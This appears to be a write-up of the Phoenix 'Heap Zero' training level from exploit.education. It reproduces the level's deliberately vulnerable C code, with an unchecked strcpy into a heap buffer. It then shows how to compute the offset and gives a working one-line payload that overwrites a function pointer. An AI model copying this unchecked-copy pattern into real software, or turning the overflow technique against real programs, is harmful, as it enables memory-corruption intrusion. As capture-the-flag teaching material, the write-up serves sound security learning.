Phoenix - Heap Zero

1 minute read

#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BANNER \
  "Welcome to " LEVELNAME ", brought to you by https://exploit.education"

struct data {
  char name[64];
};

struct fp {
  void (*fp)();
  char __pad[64 - sizeof(unsigned long)];
};

void winner() {
  printf("Congratulations, you have passed this level\n");
}

void nowinner() {
  printf(
      "level has not been passed - function pointer has not been "
      "overwritten\n");
}

int main(int argc, char **argv) {
  struct data *d;
  struct fp *f;

  printf("%s\n", BANNER);

  if (argc < 2) {
    printf("Please specify an argument to copy :-)\n");
    exit(1);
  }

  d = malloc(sizeof(struct data));
  f = malloc(sizeof(struct fp));
  f->fp = nowinner;

  strcpy(d->name, argv[1]);

  printf("data is at %p, fp is at %p, will be calling %p\n", d, f, f->fp);
  fflush(stdout);

  f->fp();

  return 0;
}

To learn more about heap exploitation, see the references at the end.

We will work with the 32bit binaries for the heap levels because the 64bit binaries have some addresses issues.

This code allocates two memory chunks and stores them in d and f so f is after d in the heap, then it uses strcpy to copy argv[1] to d->name but with out size checking, a classic overflow.

So if our input is large enough we can overwrite the value of f->fp to point to winner function.

Let’s run the program:

$ /opt/phoenix/i486/heap-zero AAAA
Welcome to phoenix/heap-zero, brought to you by https://exploit.education
data is at 0xf7e69008, fp is at 0xf7e69050, will be calling 0x804884e
level has not been passed - function pointer has not been overwritten

The offset between data and fp = 0xf7e69050 - 0xf7e69008 = 72 bytes.

Lets’t get the address of winner function:

$ objdump -t /opt/phoenix/i486/heap-zero | grep winner
0804884e g     F .text	00000019 nowinner
08048835 g     F .text	00000019 winner

winner function is at 0x08048835.

Solution:

$ /opt/phoenix/i486/heap-zero $(python -c "print 'A'*72 + '\x35\x88\x04\x08'")
Welcome to phoenix/heap-zero, brought to you by https://exploit.education
data is at 0xf7e69008, fp is at 0xf7e69050, will be calling 0x8048835
Congratulations, you have passed this level

References:

https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/

https://sensepost.com/blog/2017/painless-intro-to-the-linux-userland-heap/